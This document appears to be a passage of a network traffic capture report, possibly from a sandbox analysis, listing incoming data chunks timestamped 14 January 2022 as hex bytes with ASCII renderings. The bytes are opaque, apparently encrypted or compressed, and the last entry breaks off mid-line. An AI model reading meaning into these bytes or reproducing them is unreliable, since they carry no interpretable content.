2022-01-14 03:59:48 UTC	2649	IN	Data Raw: 41 60 cc df 98 e3 60 66 da 17 5c 59 40 f3 a7 56 dc b6 1b ef a8 5a 97 09 4c ed ab db 5e 4f 2d 70 78 75 16 63 2f 08 ce 13 f7 58 73 a2 6d 5d d0 eb a8 ea c8 f9 68 d7 ec 5e 66 05 ba 45 5a 74 f1 9c 93 1c 0f e8 1f 19 a9 b0 44 0f 64 ee e6 34 c7 91 1c 9d 98 b0 31 ea 02 24 9d f4 7b ce d4 d6 b0 61 58 e5 2e 05 36 63 c0 1b 32 42 1c bc f2 a3 a7 ba 62 0b 47 81 0d 7a 99 da 1e ca ad 36 ff a4 fc 29 24 18 4a 2d 5d 8d d5 90 d3 4f b0 05 27 bb be d6 41 64 86 f4 64 9c 7f 18 cb ec e8 4e 2a 83 13 9e 55 6d 24 bb b1 dc 5b a9 66 8d 5f 29 0f 58 47 78 4c 43 72 c2 ad 3e 3a 17 75 c6 75 2f 75 9f 24 31 be 6d e5 cf 3e a2 c6 50 e8 15 fc 04 96 bf 10 0b b4 9f 82 1b 69 9a 9c b8 d1 b9 0e 39 26 5e ed 67 d4 0e 57 5f b7 14 19 53 52 0a 93 87 84 dd ac a5 04 d3 d8 48 24 47 33 53 7e 34 f2 ab 94 ef df Data Ascii: A``f\Y@VZL^O-pxuc/Xsm]h^fEZtDd41${aX.6c2BbGz6)$J-]O'AddN*Um$[f_)XGxLCr>:uu/u$1m>Pi9&^gW_SRH$G3S~4
2022-01-14 03:59:48 UTC	2665	IN	Data Raw: 0f 16 5b 44 e3 7a 82 3c 86 0a 2a 92 1f 3d bd 9f bb ec 7d c4 3b 47 24 9c 07 2a bf 00 2a b2 97 b4 04 c5 f9 d3 95 ed df 76 8e fe 95 9e 20 4c 3c 90 c1 47 7f f2 ac e2 7a cb 0b 06 50 4b 35 1c a2 1a ea 4e c9 b7 a7 10 03 3c 51 09 f4 01 2c 95 56 bd b2 be be 30 5c eb b0 3e 85 58 12 94 5a 05 38 fa 0c 4b 03 6a e8 24 a2 ee f6 8d 72 05 08 40 74 05 f7 96 90 4b 93 08 65 2a 00 35 8f 5c 09 9c d6 44 40 2c 09 99 c0 0b b5 13 65 97 58 ff 5b e8 b5 1c bd 3a c4 6e e2 1d a1 b3 3e 33 a2 9d 8b 3b 0c 31 2d 63 a8 d3 a9 c4 7a ad 5c 8e f2 f4 1a 6a 41 16 3d 21 87 3a 81 25 56 02 df 58 36 ba 5f b9 84 75 b5 c9 cc 92 a7 03 7e aa 4e 8e ea c7 3d 25 bb a6 b8 d4 96 4f 78 11 2f 80 8a 98 12 fc f9 7e d5 4e eb aa 70 69 19 eb c7 05 c0 c9 4c f4 47 90 0e 66 34 3c a9 d5 aa 35 ea 4f c7 20 f5 83 94 c4 df Data Ascii: [Dz<=};G$v L<GzPK5N<Q,V0\>XZ8Kj$r@tKe5\D@,eX[:n>3;1-cz\jA=!:%VX6_u~N=%Ox/~NpiLGf4<5O
2022-01-14 03:59:48 UTC	2681	IN	Data Raw: ef 85 43 ed 8b 2b a7 53 64 7f 1b 25 3f 41 59 d2 a7 17 e5 f0 dc 12 3e 31 bf b8 ca c4 7e e7 c5 56 37 ec 4f c4 a2 57 ee 43 13 55 ca 6c d9 b5 37 d0 ad c2 53 42 9a e6 1b f2 88 78 a5 41 84 52 6c 87 17 d8 48 f5 f6 48 e2 79 27 42 d7 9f 26 e1 c1 41 66 1b 59 d6 3c 3a 8e bc dc fa 2f 1f e3 ff 01 cd 26 2b a8 f1 a9 82 14 8d 96 f1 cc b7 65 d1 c9 d5 4e 1a d8 85 74 13 ef 04 cf 29 ec 56 4e e2 12 ff 5c 3a 55 f3 5b d0 cb d3 d3 d3 66 8b b7 24 48 8f d1 c2 47 c3 2b f1 77 20 10 26 76 55 09 da 7a 9f 65 d3 fd 00 5d 63 6e 75 23 ea f8 13 fc ef 68 e8 54 01 54 8f f2 73 06 11 f2 6d 48 2d 3b d9 9a f5 bb f0 17 cf 26 2f 09 a2 02 54 2e 57 cf e9 34 9e 2e 0d dd de 92 dd 3e 93 6f 52 38 50 b8 37 22 f2 6a 51 f9 7f 12 a5 6e e6 09 2e 69 47 7a 18 65 f5 1c fc ef 96 4d 21 1e 8e 2d 58 86 b5 5f 25 2b Data Ascii: C+Sd%?AY>1~V7OWCUl7SBxARlHHy'B&AfY<:/&+eNt)VN\:U[f$HG+w &vUze]cnu#hTTsmH-;&/T.W4.>oR8P7"jQn.iGzeM!-X_%+
2022-01-14 03:59:48 UTC	2697	IN	Data Raw: e1 01 0a 52 77 fd 5e f4 eb a2 7d db e7 33 aa 5f b7 c7 0a cc eb 15 a3 91 ab 33 28 d5 36 30 7a ae 43 cd 10 c3 b3 c2 d7 4b 82 11 8c ad 12 fb 7a 82 13 9b 24 15 c2 24 2d e2 e4 18 7d 31 90 fc 2f 9f 8c 7d 4b a6 6c d8 a1 e8 44 d2 66 29 02 76 19 d3 60 22 13 71 ca b9 8e ea cd b3 ef 91 4f 22 e5 44 11 42 90 7f 27 74 68 ad a6 bd 1b 26 c4 3f 46 74 f3 6f ec 4c 26 bf 7c f6 7c 66 e1 0a 4e 6d 90 c2 bb 6f 58 28 08 3a d4 81 7d a3 ed 3c 38 26 e4 a6 99 3b c6 b7 ad 92 db 6d 37 7f a5 56 aa 44 90 6a e2 f5 ef 55 ea 22 1a 21 7a b0 c0 7a 67 1d 53 73 59 c4 5e 7d 77 dd ef f7 55 c4 67 bb 88 fc 31 b8 90 0e f4 06 32 0b 8b 37 b0 54 5d 9d ee ce 8d 61 61 58 54 7b 9d eb 4f 62 fb bc ba 08 76 65 c6 da 0f 25 e4 cb c0 8b 9c b6 26 97 22 89 e8 24 65 dc 92 eb c7 1f f3 7b 87 b4 63 27 61 45 d2 a0 64 Data Ascii: Rw^}3_3(60zCKz$$-}1/}KlDf)v`"qO"DB'th&?FtoL&\|\|fNmoX(:}<8&;m7VDjU"!zzgSsY^}wUg127T]aaXT{Obve%&"$e{c'aEd
2022-01-14 03:59:48 UTC	2713	IN	Data Raw: e9 82 04 f4 03 76 84 ef b4 56 51 c1 24 02 85 36 ac 8b 00 f2 59 1d 46 d8 2f 4b 0b f3 70 95 84 ef fa 7d 67 fe 1a 56 74 09 f3 18 b5 60 eb 50 58 50 b4 50 42 17 d3 8d 4b 5c f6 af 38 eb 8d b7 e2 06 67 1e 17 7b 06 35 60 64 55 ec ae f0 8e b8 45 03 ae 12 77 13 96 a9 23 25 d0 c7 00 8a 62 ca 79 57 d2 13 70 77 b9 1c 5f 94 35 a0 ed 8a 73 58 63 73 02 14 6c f2 85 77 21 00 2a 17 33 4c eb 26 be a2 0c 4b 93 64 0e f2 92 47 5f 8c 10 a7 cd 4f c2 84 bb ff 7b e1 63 36 45 9e 7d 96 51 06 3d 96 66 81 d6 1e d6 24 45 d8 d3 ce bc 04 80 46 68 af 8c cd 34 49 30 77 a5 8e b6 20 a2 71 eb f6 75 e7 c6 9a 37 eb 7a e7 2e 02 e0 b0 38 68 08 ef e4 ae c7 a4 7d f8 f6 c6 7d 19 da ff a8 a9 4d 77 1c 0e ef d6 14 e6 4b ea 28 c8 f6 f2 09 c9 f3 76 f2 e6 15 a0 50 f7 a9 c2 92 1b fa 6a 7d 58 c7 a1 35 cc 64 Data Ascii: vVQ$6YF/Kp}gVt`PXPPBK\8g{5`dUEw#%byWpw_5sXcslw!*3L&KdG_O{c6E}Q=f$EFh4I0w qu7z.8h}}MwK(vPj}X5d
2022-01-14 03:59:48 UTC	2729	IN	Data Raw: 28 ce ca d7 8d 0d d0 2d 49 e3 11 c0 21 09 1f 80 e3 c8 00 76 a1 2e 19 8c 9d d7 13 34 ce c7 2a b0 c8 62 ca fb d9 47 2c d0 23 84 72 e7 ff ff 8e 58 b2 7e d7 a9 9b 93 f7 31 bc 8f 17 d4 fc 45 e2 09 07 92 4c 6b e7 4f 42 f7 30 83 71 d3 97 86 8f a7 4f 15 d7 58 18 81 af 50 9d c2 9f 8d 2c 5f b7 80 86 7e 88 ca d2 d6 2d fa 6e 1d 67 98 35 e0 8e 68 ca 17 c3 2c 41 93 e0 a0 d7 3a b8 91 a3 f1 d0 93 08 88 8d e9 25 9b 29 1a 59 c6 dd f5 0c b9 c8 0e 87 a4 f9 c3 b1 9f 5a 7e 80 80 69 cd fe 3b 0f 7e 56 be 31 fb 96 d3 92 f7 fd 4d 17 35 9f 0c e4 8e ab 95 4b a1 5f 7c 9a 73 a9 16 44 b4 6f 78 1b 7e bd 7d 9b 80 37 6e 0e 85 b1 84 74 31 36 1a bd 39 95 42 e1 d1 5c fb 78 ed 6e 7e 84 f4 ba f6 11 6f 1b 13 e7 c3 bd c5 cc 4b dd 0f 11 b1 71 d5 51 11 4c 70 8b 26 f2 af 56 26 f1 7d 77 cc fc dc 17 Data Ascii: (-I!v.4*bG,#rX~1ELkOB0qOXP,_~-ng5h,A:%)YZ~i;~V1M5K_\|sDox~}7nt169B\xn~oKqQLp&V&}w
2022-01-14 03:59:48 UTC	2745	IN	Data Raw: 2a 47 c5 71 d1 ca 39 0d d2 f7 33 00 f5 d5 b5 69 e1 cc 61 c4 6a 55 76 4b 25 74 73 50 91 5c 91 05 88 36 40 93 f0 62 de 11 88 8d c4 65 2d 9a d0 d4 dd 68 a4 bb 17 4b 86 e3 ec 18 b5 8f c2 2e a2 2b e4 9d 44 d2 93 97 09 f3 6c 92 42 04 11 3b f8 45 b1 fb 7e 6c c5 98 51 26 a6 41 24 04 92 70 8e da 91 f5 ea 4d fe ad 81 6c e5 9d 63 dd f2 f5 68 63 ac e5 39 c9 e2 c2 7c 5e eb 10 51 d3 cb ae 84 e1 0b a9 c1 e3 42 a4 6e d6 d3 7b 74 01 16 98 b4 bb 47 2e ba da b7 d5 68 a8 98 e3 a4 5f 68 5d b0 1f fc 1e 46 12 cd ca 2a 9b 46 1c 0c b4 09 9a 55 53 14 d0 c9 12 90 f1 6f 0b 2e 50 d5 9e 0f 5e 7d 42 cb ca e8 f3 23 1d f0 93 f1 dc f7 a8 c3 ee 5a e5 fc 60 68 44 86 5c 50 7d 9c 3d c9 82 f9 3d e0 15 70 04 1c 5c 4f 89 19 96 99 a3 45 d3 c2 d5 8b 89 f5 67 7f 6b 0b ca ff 2a 10 d1 fc bf 46 f9 35 Data Ascii: Gq93iajUvK%tsP\6@be-hK.+DlB;E~lQ&A$pMlchc9\|^QBn{tG.h_h]FFUSo.P^}B#Z`hD\P}==p\OEgk*F5
2022-01-14 03:59:48 UTC	2761	IN	Data Raw: d3 4b 71 dd 91 77 5a 99 fe 42 46 cb f4 ed 87 3c 85 4c 2c 0e e5 cf 4a b5 37 b7 3a ec 65 71 e0 ad 77 28 ac 5e 6f a4 bf 3b cc 9a 13 e5 fc 57 f5 b2 66 4a 6b e8 01 36 9f 6b dc 71 9e 7e 36 c6 2e 4e 3d f0 cf aa 4c 3a f2 3a b8 3a 5f f1 31 72 fd 7d 72 52 ec 97 cc df 79 d4 a4 1e d9 ad a2 f1 ee 54 b3 89 64 6a 06 12 ea d7 2d 86 66 38 21 b3 38 67 06 3e 14 86 71 55 a1 8a 54 f7 48 91 82 fb 88 bb d4 f3 e2 8e 49 e9 95 1c 79 1d 23 c2 ec f1 6d 6b 1f 11 03 68 63 3e 71 cb 67 b4 5b d8 76 d4 06 ed 62 1f b3 99 90 0c 61 87 42 d7 ac 6f b4 5d f7 e1 78 01 7f 47 25 e8 79 69 66 b5 f2 9a 0d f7 db fa 2e 6d 8a e9 03 67 c6 b5 79 2f 18 a7 fe 78 21 ec 39 28 40 73 6f dd 7c 1e 08 1c 37 a5 e5 14 c4 0b f3 4c bc 5d 99 9a 95 77 fe a4 58 45 6b 1c bc b2 42 22 d8 db 43 a2 97 17 62 96 ee c9 11 9d 49 Data Ascii: KqwZBF<L,J7:eqw(^o;WfJk6kq~6.N=L:::_1r}rRyTdj-f8!8g>qUTHIy#mkhc>qg[vbaBo]xG%yif.mgy/x!9(@so\|7L]wXEkB"CbI
2022-01-14 03:59:48 UTC	2777	IN	Data Raw: 53 f4 56 99 30 4e 17 6d 37 ec ba 90 5c 5b 2e bc 47 22 f0 3b f9 6c e2 ef e3 b9 3a 5e 9c 3a 50 12 e8 85 a2 5f d3 b6 79 40 0b a8 fd 1d 89 d6 29 a4 9c 22 22 2a 15 0b 0f 77 b4 13 83 b8 f9 8e b0 cf 80 ed 1a cb 57 8c f3 c6 bd 80 2b 4e be 45 25 99 47 ea 05 52 2c 12 a0 af e9 3a c8 ca 33 c5 9d c4 cd 63 fd 5c 81 ea f4 6c 86 fc 63 8d d9 91 82 63 3b 8d 9f b8 83 c1 d5 e0 84 b6 7e 3a ed c3 79 3f 28 51 3f 62 a2 aa af ae 27 4c a0 1d 9d 70 5d 10 9c 55 cf 75 c8 2d 70 ee c7 f3 1d 44 60 cb 28 89 d1 0a e8 e3 b6 6a 1f 51 46 f8 66 fe 9c 2d 84 f9 ab 71 a5 ce d6 91 67 69 06 58 66 fa 4a fe 50 87 33 97 04 f4 d4 19 1a 19 13 26 1a aa 76 3b e9 c5 89 c0 48 c7 73 bb e4 34 7c e7 4c 5d 45 82 8d 15 27 e1 4c 04 97 17 de ee 68 5f b4 43 93 d9 5a 77 07 3b 87 d6 d4 10 03 a3 3f 70 53 6e f8 07 3c Data Ascii: SV0Nm7\[.G";l:^:P_y@)""*wW+NE%GR,:3c\lcc;~:y?(Q?b'Lp]Uu-pD`(jQFf-qgiXfJP3&v;Hs4\|L]E'Lh_CZw;?pSn<
2022-01-14 03:59:48 UTC	2793	IN	Data Raw: a0 24 ed f6 c6 91 33 f5 14 45 71 f6 b2 ed 86 b7 52 ba ee b9 2c 7e 1a 41 7b ac 8a 85 82 57 1a fa 5f 4f f9 e8 35 fd 91 0b fa 11 49 f6 98 bf f0 29 36 cb 8e c7 b6 1a 71 f3 c4 b5 c1 09 5e db 49 25 9e e4 00 ec 6d 5a a5 16 74 0a eb d7 ec de 2f 84 30 7d 2e 17 74 ce 72 ae f6 a5 f6 bb cf 9a ac 1a 31 6c c2 6c f1 8f 2f 8e 61 26 f9 ed b1 66 ad a6 d3 c0 9b 61 a8 08 92 c2 0e 4e 3b a3 06 1c c0 66 a7 95 f1 3e 75 75 b8 01 a9 a8 49 a1 ef 52 90 bd 51 00 44 be ba 98 d7 50 7a a8 7f ce 5d c1 97 0a 1d 5b e8 a3 57 03 d2 55 81 d2 65 a1 da e5 b2 f0 6b de 82 a4 66 58 d4 6f d1 a9 ba 99 90 4d c2 f8 7e 13 bd 4a 58 15 48 39 78 e4 b9 6a d8 7e 85 2a c0 09 0d 9c a4 04 88 e8 1a 6e ec a9 82 fe 0f 3b 11 d9 41 0c e5 cc a6 16 f2 dd d5 89 42 91 b8 a8 7a c8 60 c1 f1 27 83 da 27 d4 6a ca f3 8c d4 Data Ascii: $3EqR,~A{W_O5I)6q^I%mZt/0}.tr1ll/a&faN;f>uuIRQDPz][WUekfXoM~JXH9xj~*n;ABz`''j
2022-01-14 03:59:48 UTC	2809	IN	Data Raw: d3 22 4c 4d bb 76 ad 1f 25 7c 15 df 5a 93 54 cd ff 78 96 96 be c7 bf ed 3b 86 e5 d0 e3 8a 8d b6 e5 a1 8e 9c c6 a7 1f db c5 72 5c 5f b3 f4 2e a9 33 6a 40 fe 6c f2 01 4a 15 78 c0 07 35 f1 e0 4f 6d a7 e6 c8 2d b3 8a d4 e9 eb 14 a2 e5 03 b6 12 3a de 8b cc 63 17 a3 a8 65 9c 06 4e 27 45 fd a3 20 c1 60 36 0e bf b4 c2 f7 92 b0 8c 47 2d 30 28 ff 61 97 e3 df 7a 96 b9 51 49 e8 35 5a 22 9e cb 14 fb 83 8d 5a 0d 13 f6 4e ec b1 39 05 e4 4e c4 63 d7 32 ff 33 50 ed 2c 9d 51 88 61 33 70 a5 ae 1c 3e 84 f2 2e a4 0e 56 b8 4c e5 29 31 09 57 eb df d4 e4 b7 fd e6 31 65 19 96 62 2d 6a 4d 37 e7 2b ba e9 59 ee 9e 82 af 53 dc 62 d7 e4 7d c4 8d a3 d3 bf b4 8a 21 44 10 ba 16 8a 28 59 5d 4b 0f 4c a8 49 ac 63 91 c4 16 48 66 9f 14 02 e9 2a 19 2c fe 97 76 7f 33 58 ab f5 5a 9a 1f 36 49 2b Data Ascii: "LMv%\|ZTx;r\_.3j@lJx5Om-:ceN'E `6G-0(azQI5Z"ZN9Nc23P,Qa3p>.VL)1W1eb-jM7+YSb}!D(Y]KLIcHf*,v3XZ6I+
2022-01-14 03:59:48 UTC	2825	IN	Data Raw: ff 76 43 03 ac 20 12 85 38 45 18 f4 32 c5 69 44 ae cd 65 d7 bd f1 7d 15 f7 ac e9 82 ff 16 e6 de ff cb c2 8c 1b 40 7a 4d 13 d7 b9 56 08 c4 65 4e db 0e 39 68 2e a5 6e df 95 7c 1d 5f 17 76 85 22 4d 52 bb f5 c1 7b 59 5e 43 89 83 05 8d a5 cb 41 e7 c1 52 89 17 54 e7 47 01 75 af 94 4e 3e 7f 5d 3c dc 10 92 42 8c 4d 3b a0 db df 7b df 2e 8f dc b5 3c 08 3b 35 3b 13 ac 2b 29 34 d3 d8 50 9f 6e 55 17 9c 9c c2 e0 ae fa 4d 1c 90 6b 90 52 bc 7b 2c 60 ea 46 92 d2 e4 15 03 04 52 4a de f5 c6 89 13 e2 c2 1b 55 64 0b 3c e9 49 5a 68 a9 f6 9a 75 5b 3c 1c 11 68 e7 37 d9 cf 93 7a 0f 7f 09 ad c2 fe 1f 91 a2 45 40 e6 b8 7a e2 13 62 39 55 8c 9d ce ea df 29 a1 d2 8f c8 69 90 59 57 6b 3a 8c 5d 69 2c f9 5e 44 59 ec 0e 8a be 1a f4 64 db bc 26 24 6e 65 66 08 ff 85 80 6c 9f 40 75 34 bb b0 Data Ascii: vC 8E2iDe}@zMVeN9h.n\|_v"MR{Y^CARTGuN>]<BM;{.<;5;+)4PnUMkR{,`FRJUd<IZhu[<h7zE@zb9U)iYWk:]i,^DYd&$nefl@u4
2022-01-14 03:59:48 UTC	2841	IN	Data Raw: a4 ce cf 58 32 8d 9c 81 47 d7 f2 4e a0 60 2c 94 7c fe 57 46 ca 4e d1 86 c5 98 76 d9 5a b3 15 5f bb b9 70 91 4f 5d a5 58 6c c9 0e b3 ac 84 57 2e 3c 7b 0d 4f 97 11 74 f5 6e 4c a8 70 2e 1f 86 97 5d 9e 68 00 a0 03 72 12 c3 a3 3f c0 09 70 32 5e 34 de 02 86 1a a3 82 42 cd 75 de 6a 48 99 4a 6e d4 eb e8 c1 97 a7 98 da 54 5a bb 19 aa 7f 88 42 f0 4e 18 bc e1 29 1a 66 7a e5 53 66 81 e4 f7 c6 2d 03 d2 d0 ff 06 fa 90 e1 fa 94 7b a4 72 47 91 41 37 1e 11 43 39 19 75 54 66 06 b9 e6 95 e6 87 49 28 4b fd f2 52 04 79 03 ae 2d 74 c6 03 c2 96 20 cc 9e d0 85 13 dd a3 35 29 4a 43 9a 87 ae 62 9c 6c 9b 09 03 fa 55 dc 53 48 4d af e5 67 3b 75 65 66 c1 9d 5f 01 ea 5a 5e 4e 53 78 bc 6b 4b 9e ea 73 e9 2e 01 34 9f 2b 87 43 e6 ea 37 ec a2 0b 83 c8 1b 47 df e5 97 19 4b b8 dc d6 20 46 63 Data Ascii: X2GN`,\|WFNvZ_pO]XlW.<{OtnLp.]hr?p2^4BujHJnTZBN)fzSf-{rGA7C9uTfI(KRy-t 5)JCblUSHMg;uef_Z^NSxkKs.4+C7GK Fc
2022-01-14 03:59:48 UTC	2857	IN	Data Raw: 77 9e 22 6f 54 d2 7f 0c fd b2 1d 78 95 ac 75 9a 82 76 9f ef 3f 58 ff 78 fd 6c 32 8e 39 0c 65 86 29 df d7 42 d3 e5 9a df 26 f5 13 79 17 23 10 8d 2f 71 76 8e 9f ed 40 07 d8 33 5b 82 1d c4 8b df 1d e1 f0 5e c4 56 6d 60 7a e9 48 d7 b3 06 73 be 19 f2 b5 48 1f df fe 11 71 24 c1 24 20 2c 8e eb ad 18 93 69 f2 a9 c4 49 b0 32 80 fa f3 24 fe 22 04 72 aa 8b 20 0b dc 54 d2 96 68 73 71 60 ca 80 a1 cb 7c 20 29 a6 bc f0 ae 70 0a b1 25 25 5c ec cf 37 b0 d0 a7 98 1b 26 41 d3 b0 e9 16 fc 9a 38 b6 84 b9 e0 4a b2 22 66 90 5c f1 aa 24 d2 bc 20 f1 39 43 a8 4d 67 9a 61 07 db c5 38 34 fd 9f 5a 01 b9 9a 22 a9 8f 22 c1 03 ce cb a7 fd 6e 84 65 64 32 da 72 27 12 0e c7 61 fb f4 b3 1d bd 49 94 d9 69 a5 6b ab 4b 86 c6 5e a5 b0 22 9a 26 9b ba cb c3 d8 ae fb c8 8d e4 4f c6 99 c4 ff 1d de Data Ascii: w"oTxuv?Xxl29e)B&y#/qv@3[^Vm`zHsHq$$ ,iI2$"r Thsq`\| )p%%\7&A8J"f\$ 9CMga84Z""ned2r'aIikK^"&O
2022-01-14 03:59:48 UTC	2873	IN	Data Raw: 65 90 3e ad 9c d1 3d 8d ba 2a 6a 2f 4a eb 37 9f 78 e2 d1 2c c6 ee cc 45 f9 9f 9a c9 de 51 25 44 99 d9 fe e2 4e e7 38 5d ea f5 c5 78 ac 50 03 08 7b 49 c2 6f 09 15 bf ed 18 c9 81 5f 54 5f f8 54 83 df 33 37 9d c4 d3 24 d9 29 1f f6 6a be 58 0d 98 7a ee bb ea a7 f2 3e 96 a7 3f 97 43 1a 61 4e 56 91 7d 94 19 40 91 40 66 76 1a 4d a5 cc bc 3c c4 e1 33 74 f1 0b b0 21 8a 83 b9 33 16 f5 65 ce 3a d2 48 42 28 83 ed b0 1e c0 ec e9 09 0d 36 48 f6 2e 69 1d 78 d6 f5 6f e9 de cb 0d ba bf 33 d3 87 00 67 37 68 f7 1a c9 31 4e 6a 30 11 2f e2 3a 2f c3 17 be 80 f4 04 ef d5 41 b4 d5 23 fb 8b 8a 04 2e 68 71 9f c1 e2 4f 63 5c 89 94 97 72 ef 27 30 2a b3 d2 ca 44 21 9d 96 29 8c 6b 09 cc 62 ab 19 6b e3 45 a8 74 f6 1c 5d 6f 70 9c d9 8d 6c 39 1a 06 b0 4c 05 38 32 70 09 01 36 84 71 bd 45 Data Ascii: e>=j/J7x,EQ%DN8]xP{Io_T_T37$)jXz>?CaNV}@@fvM<3t!3e:HB(6H.ixo3g7h1Nj0/:/A#.hqOc\r'0D!)kbkEt]opl9L82p6qE
2022-01-14 03:59:48 UTC	2889	IN	Data Raw: a4 da f0 51 c5 d4 d9 ea 72 67 ef 9a db f2 13 b0 5a 6b 77 68 24 2a 41 c4 f2 e2 01 69 c0 8f 43 22 91 b4 26 3e 9c f3 ce ce ac fa ed 24 06 26 76 7e 84 3e 0b 2a 83 a2 fc 78 91 9d 24 3e 60 20 8c a2 2c 77 62 d5 74 27 ca 64 9b f9 c7 d5 e9 fd 88 f7 ee 9b cd db 98 50 cd 82 91 26 d0 94 1c 4e 8f 08 20 7f f9 fa 61 41 87 2b e3 ae 98 e0 82 e1 9e 95 83 b2 d3 1f 87 45 b2 9d 5e eb 58 e8 9a 56 06 52 e9 91 2d d1 ac 02 7d 9b d3 df 32 a8 1c 62 10 2f 10 fa fa 3d 0f 66 6b a8 7b 43 d4 b6 1a db 85 23 f5 cf ed f6 29 28 96 53 60 ad 9f 16 8f 6e fb 55 bf 0c a6 05 f3 52 f2 2f 91 26 b7 4f 0b af b9 7c fd 31 70 29 9e 86 6d 76 8c 1d 35 81 84 f6 80 b3 81 9c d1 84 cf 8d d3 ed 81 dd 1f de 53 69 e6 5a 3f 20 96 72 32 2c 4c f6 4d 1b 46 e1 e5 5d df 69 8e d9 b2 e8 6e 24 b6 c1 ea d1 73 6c 88 75 ba Data Ascii: QrgZkwh$AiC"&>$&v~>x$>` ,wbt'dP&N aA+E^XVR-}2b/=fk{C#)(S`nUR/&O\|1p)mv5SiZ? r2,LMF]in$slu
2022-01-14 03:59:48 UTC	2905	IN	Data Raw: 9b 5c 88 62 71 9b 9e 41 fa c3 0f 36 5e 04 b1 e7 26 96 6f 79 0e 19 8c 27 9b a1 52 6b 82 36 41 2a c0 aa ea 32 65 05 57 cd 34 ba 24 c3 a4 b0 45 d6 86 78 04 be 12 77 f2 a6 87 fd c1 88 24 82 ae 79 89 fa c8 af 0c 63 bc c2 31 98 44 c3 09 2b 54 1c 09 d5 f3 ab 73 e3 04 b9 c4 ff 08 c5 07 8f 67 20 f1 ed 91 2a 79 1b 24 f6 5a 62 ea 7b 42 56 72 fc 5c e9 a0 d4 70 03 e9 c7 7a 06 05 c1 99 43 a3 5f 54 c9 60 75 58 af ae b8 4b 06 76 2f 78 38 fc e1 a5 c5 0e c1 e2 22 4c 54 86 26 e2 79 b7 56 59 91 a8 68 e9 90 fb 44 b5 c6 1c 1e 79 fe fd 17 3c d1 67 fe 49 1c b2 7a 8b 34 56 79 d1 82 f8 3e 8e 7f 90 5b 06 8d 39 3e be f7 80 bc 2e ac 79 5c 5b 98 d1 e6 b8 ad 75 bf a4 c6 8e 41 c8 12 7a 56 83 e2 0e 07 e9 ff 44 1d 15 f4 96 5d 0f e2 c1 77 51 58 66 7b 46 81 af cc a8 c3 aa 55 73 4e c9 23 f5 Data Ascii: \bqA6^&oy'Rk6A2eW4$Exw$yc1D+Tsg y$Zb{BVr\pzC_T`uXKv/x8"LT&yVYhDy<gIz4Vy>[9>.y\[uAzVD]wQXf{FUsN#
2022-01-14 03:59:48 UTC	2921	IN	Data Raw: 8c 21 4a 99 f6 e4 72 76 db 04 35 94 57 17 3e 90 f0 e3 22 ed 7a ab 3c 01 0d 81 50 86 c1 b6 65 40 b4 23 b4 db 06 56 c8 d3 cf 4b 57 aa 77 f7 c2 aa e6 dc 99 bf 9f f7 3c 48 b9 3b 43 7e 6b 23 33 86 84 74 37 86 ed d8 bd f9 62 e1 28 6d 23 de 16 66 a3 e0 c6 3e f6 34 5b 22 78 8d 83 1c 91 39 c3 85 4e b7 f0 ea b1 50 87 a5 0e bf 9c e0 ac fb ef e9 f8 fd ec a2 fc 81 86 de a3 e9 f9 97 be a2 4a 37 18 3e a6 21 4d 3f 5d a9 2d 60 8e 19 01 d9 ed bb c4 7c d9 7a 85 01 9f b4 c5 16 e5 4c b8 6a c9 0d 00 8e 96 f1 5c 50 ab 01 6d 0c 08 2e 16 13 22 ec 4c 9c 0b 75 5c e6 b3 2a a4 df ba 11 54 26 ff a0 c3 9d f7 f7 91 3c d0 3d 9e 5f a2 bb 7c 6e 99 bc 6b 6a b6 67 bd 04 61 04 4c 20 1f e2 ca 26 15 12 c9 23 aa a7 be e3 1f 6a 71 c0 86 c8 cc 58 cd 9e 90 06 86 d8 6c e6 e3 02 20 8e e4 ef 9f 4a c0 Data Ascii: !Jrv5W>"z<Pe@#VKWw<H;C~k#3t7b(m#f>4["x9NPJ7>!M?]-`\|zLj\Pm."Lu\*T&<=_\|nkjgaL &#jqXl J
2022-01-14 03:59:48 UTC	2937	IN	Data Raw: 19 ac af bb 50 bf 14 86 ef 0e 72 b7 57 ab b9 04 98 d9 ce d7 7c e4 06 a2 01 e7 de b6 77 30 d9 f7 24 1f 00 1f ee 9d c5 ab b2 1a e9 61 35 3a 1f 66 11 1f 62 d6 76 ad 56 29 71 f7 0a 1b 95 58 74 88 e7 6a 42 24 45 f4 23 84 a8 4e ae ab 7b 22 c3 20 9a a6 7c f9 1f 28 21 c3 9c 99 5b 25 11 02 8a 9b 93 be 7b ab cb 8e 0a 45 1e 4e 82 e1 cf 5f c6 e4 4a fb 70 c0 fb d4 7e ed 6a 06 89 eb 0a 59 e2 ee 24 cd 24 35 33 8f 07 c4 5b 74 5d f7 bb 4c 8c ea bb 72 07 b9 a2 56 6c 37 20 1d 9b 22 d6 a2 98 85 f0 5f 8b 60 16 da 66 66 28 da a5 e7 d9 62 f6 f7 0e 15 a3 d2 4e f1 78 67 9b c5 52 70 4c f3 0d 85 ff de 1c 1e 9d b6 a0 00 09 31 4f 05 de c0 23 bc 4f 8d 29 59 c8 12 12 83 25 0b ac 7c db ff 1b 08 c2 0e ba da b1 40 23 f5 c3 46 f4 41 fd 31 b3 6f 7e 8c f7 3a 88 cc a8 1e 16 7a 28 5a 30 ac 40 Data Ascii: PrW\|w0$a5:fbvV)qXtjB$E#N{" \|(![%{EN_Jp~jY$$53[t]LrVl7 "_`ff(bNxgRpL1O#O)Y%\|@#FA1o~:z(Z0@
2022-01-14 03:59:48 UTC	2953	IN	Data Raw: 42 92 76 fe 8c 45 69 d4 cf 2b 90 de 46 83 b2 d6 5e a0 14 45 b5 e4 26 b4 82 76 37 19 a2 74 a8 e9 5d f2 ce 6a 25 dd 28 49 14 7c e4 bc 6b a3 96 b8 a6 bc 16 a4 94 ef 04 f0 27 1e e5 62 4c f5 68 27 93 49 8b 09 11 2a 42 cf bf 67 1b 33 45 4d 68 05 a4 eb ef 6d 0b fd 25 81 73 85 e2 96 c2 75 85 f9 23 5d d3 ca 13 41 6e 71 83 db e7 11 dd 3e 27 f2 50 5c f6 31 1c 78 dd 8b 22 33 ff a2 af 86 69 7d 1a 38 e5 27 2e b5 7f 47 46 73 70 d3 a7 ee 4a e2 66 27 ea 29 51 f2 11 54 e4 5a 52 1e 1a 0a 20 fb 64 ba a3 bc 26 a2 04 47 1d 2b c6 02 b5 e5 c7 9e 58 0a 45 ce 5d 6b 8b 89 81 f6 cd 75 f2 4e 14 d9 4a b5 06 a4 da 35 80 11 52 9f 7e ea a8 bb 25 57 16 21 fc 79 83 e2 de c9 93 06 00 d9 40 8e 05 23 51 5d bb 12 7d 14 62 0e 70 52 34 a9 c5 63 6f e0 c6 ae da 19 c3 11 28 ba c3 